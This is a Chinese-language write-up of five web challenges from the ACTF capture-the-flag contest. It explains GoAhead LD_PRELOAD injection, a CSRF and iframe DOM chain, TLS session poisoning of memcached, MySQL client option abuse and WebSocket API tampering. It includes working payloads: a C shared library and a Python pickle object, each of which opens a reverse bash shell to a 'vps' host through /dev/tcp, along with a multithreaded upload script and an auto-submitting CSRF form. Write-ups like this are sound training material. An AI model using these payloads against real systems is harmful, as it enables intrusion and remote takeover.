ACTF-web-WP&分析记录
字数 1416 2025-08-06 21:48:56

ACTF Web题目分析与漏洞利用技术详解

1. ACTF warmup - GoAhead环境变量注入漏洞

漏洞背景

题目提供了一个基于GoAhead服务的Web环境,通过分析Dockerfile发现与P神(phith0n)文章《GoAhead环境变量注入复现踩坑记》中的配置相似。

漏洞原理

  • GoAhead服务会将表单传入的数据键值对设置为环境变量
  • 上传的文件会存储在/proc/self/fd/目录下
  • 可利用LD_PRELOAD环境变量加载恶意共享库

利用步骤

  1. 编写恶意共享库代码:
#include <stdlib.h>
#include <string.h>

__attribute__ ((constructor)) void call() {
    unsetenv("LD_PRELOAD");
    char str[65536];
    system("bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'");
    system("cat /flag > /var/www/html/flag");
}
  1. 编译为共享库:
gcc -shared -fPIC ./payload.c -o payload.so
  1. 利用Python脚本进行多线程攻击:
import os
import threading

payload = """#include <stdlib.h>...""" # 上述C代码

f = open("payload.c", "w")
f.write(payload)
f.close()

def cmdcommand(cmd, pid):
    while 1:
        print("-"*100, pid)
        os.system(cmd)

_pid = int(input("pid#"))
for i in range(10):
    pid = _pid + i
    cmd = "gcc -shared -fPIC ./payload.c -o payload.so;curl -v -F data=@payload.so -F 'LD_PRELOAD=/proc/self/fd/%d' http://target/cgi-bin/hello" % pid
    threading.Thread(target=cmdcommand, args=(cmd, pid,)).start()
  1. 微调pid值直到成功获取反弹shell

2. beWhatYouWannaBe - CSRF与DOM操作链式利用

第一部分:获取admin权限

  1. 通过/beAdmin接口提升权限
  2. 需要正确的时间戳token
  3. 使用HTML表单自动提交:
<form name="loginform" action="http://127.0.0.1:8000/beAdmin" method="POST" target="_blank">
    <input type="hidden" name="username" value="admin" />
    <input type="hidden" name="password" value="123456" />
    <input type="hidden" name="csrftoken" value="tocken" />
    <input type="submit" value="Submit request" />
</form>
  1. 使用JavaScript动态获取token:
for(var i=1;i<1000;i++){
    var myRequest = new Request('/getToken');
    fetch(myRequest).then(function(response) {
        return response.text().then(function(text) {
            document.loginform.csrftoken.value = text;
            document.loginform.submit();
        });
    });
}

第二部分:DOM属性链式操作

  1. 创建三个HTML文件实现属性链式访问:
  • 1.html:
<iframe name="fff" src="2.html"></iframe>
  • 2.html:
<iframe name="lll" src="3.html"></iframe>
  • 3.html:
<form id="aaa">
    <input name="ggg" type="submit" value="this_is_what_i_want" />
</form>
  1. 让admin访问1.html,服务器会收到带有flag的请求

3. ToLeSion - TLS会话复用与memcached注入

漏洞原理

  1. 利用FTPS协议的PASV命令将会话重定向到memcached服务
  2. 通过TLS会话复用注入恶意序列化数据到memcached
  3. 修改session触发反序列化执行系统命令

利用步骤

  1. 准备恶意序列化payload:
import os
import pickle

class Test2(object):
    def __reduce__(self):
        cmd = f"bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'"
        return (os.system,(cmd,))

pickle_code = pickle.dumps(Test2())
length = len(pickle_code)
payload = b"\r\nset actfSession:admint 0 0 " + str(len(pickle_code)).encode() + b"\r\n" + pickle_code + b"\r\n"
  1. 使用TLS-poison工具进行会话劫持:
TLS-poison/client-hello-poisoning/custom-tls/target/debug/custom-tls -p 11212 --certs cert.pem --key key.pem --verbose forward 2048
  1. 运行FTPS服务模拟脚本监听2048端口

  2. 访问目标URL触发漏洞:

/?url=ftps://DNSname:11212/a
  1. 修改cookie中的sessionid为actfSession:admint触发反序列化

4. myclient - MySQL插件提权

漏洞原理

  1. 利用mysqli_options函数配置客户端选项
  2. 通过MYSQLI_INIT_COMMANDMYSQLI_READ_DEFAULT_FILE加载恶意配置
  3. 利用MySQL插件功能执行系统命令

关键配置选项

  • MYSQLI_OPT_LOCAL_INFILE: 控制LOAD LOCAL INFILE语句
  • MYSQLI_INIT_COMMAND: 初始化命令
  • MYSQLI_READ_DEFAULT_FILE: 指定配置文件
  • MYSQLI_READ_DEFAULT_GROUP: 指定配置组

利用方法

  1. 构造恶意MySQL配置文件
  2. 通过URL参数设置客户端选项:
?key=3&value=恶意命令
?key=5&value=恶意配置文件路径
  1. 利用插件功能执行系统命令

5. poorui - WebSocket协议滥用

非预期解

  1. 以admin身份登录系统
  2. 拦截WebSocket通信
  3. 修改api参数从sendmsggetflag
{
    "api": "getflag",
    "to": "admin",
    "msg": {
        "type": "text",
        "data": "a"
    }
}

预期解分析

  1. 旧版本lodash存在原型链污染漏洞
  2. 通过修改is="abc"onanimationstart属性实现XSS
  3. 劫持msg中的api参数获取flag

总结

本次ACTF比赛中的Web题目涵盖了多种高级漏洞利用技术:

  1. 环境变量注入与LD_PRELOAD利用
  2. CSRF与DOM链式操作
  3. TLS会话复用与协议级攻击
  4. MySQL客户端配置滥用
  5. WebSocket协议滥用

这些技术在实际渗透测试中都具有很高的实用价值,理解并掌握这些技术对于提升Web安全能力至关重要。

ACTF Web题目分析与漏洞利用技术详解 1. ACTF warmup - GoAhead环境变量注入漏洞 漏洞背景 题目提供了一个基于GoAhead服务的Web环境,通过分析Dockerfile发现与P神(phith0n)文章《GoAhead环境变量注入复现踩坑记》中的配置相似。 漏洞原理 GoAhead服务会将表单传入的数据键值对设置为环境变量 上传的文件会存储在 /proc/self/fd/ 目录下 可利用 LD_PRELOAD 环境变量加载恶意共享库 利用步骤 编写恶意共享库代码: 编译为共享库: 利用Python脚本进行多线程攻击: 微调pid值直到成功获取反弹shell 2. beWhatYouWannaBe - CSRF与DOM操作链式利用 第一部分:获取admin权限 通过 /beAdmin 接口提升权限 需要正确的时间戳token 使用HTML表单自动提交: 使用JavaScript动态获取token: 第二部分:DOM属性链式操作 创建三个HTML文件实现属性链式访问: 1.html: 2.html: 3.html: 让admin访问1.html,服务器会收到带有flag的请求 3. ToLeSion - TLS会话复用与memcached注入 漏洞原理 利用FTPS协议的PASV命令将会话重定向到memcached服务 通过TLS会话复用注入恶意序列化数据到memcached 修改session触发反序列化执行系统命令 利用步骤 准备恶意序列化payload: 使用TLS-poison工具进行会话劫持: 运行FTPS服务模拟脚本监听2048端口 访问目标URL触发漏洞: 修改cookie中的sessionid为 actfSession:admint 触发反序列化 4. myclient - MySQL插件提权 漏洞原理 利用 mysqli_options 函数配置客户端选项 通过 MYSQLI_INIT_COMMAND 和 MYSQLI_READ_DEFAULT_FILE 加载恶意配置 利用MySQL插件功能执行系统命令 关键配置选项 MYSQLI_OPT_LOCAL_INFILE : 控制LOAD LOCAL INFILE语句 MYSQLI_INIT_COMMAND : 初始化命令 MYSQLI_READ_DEFAULT_FILE : 指定配置文件 MYSQLI_READ_DEFAULT_GROUP : 指定配置组 利用方法 构造恶意MySQL配置文件 通过URL参数设置客户端选项: 利用插件功能执行系统命令 5. poorui - WebSocket协议滥用 非预期解 以admin身份登录系统 拦截WebSocket通信 修改api参数从 sendmsg 为 getflag : 预期解分析 旧版本lodash存在原型链污染漏洞 通过修改 is="abc" 和 onanimationstart 属性实现XSS 劫持msg中的api参数获取flag 总结 本次ACTF比赛中的Web题目涵盖了多种高级漏洞利用技术: 环境变量注入与LD_ PRELOAD利用 CSRF与DOM链式操作 TLS会话复用与协议级攻击 MySQL客户端配置滥用 WebSocket协议滥用 这些技术在实际渗透测试中都具有很高的实用价值,理解并掌握这些技术对于提升Web安全能力至关重要。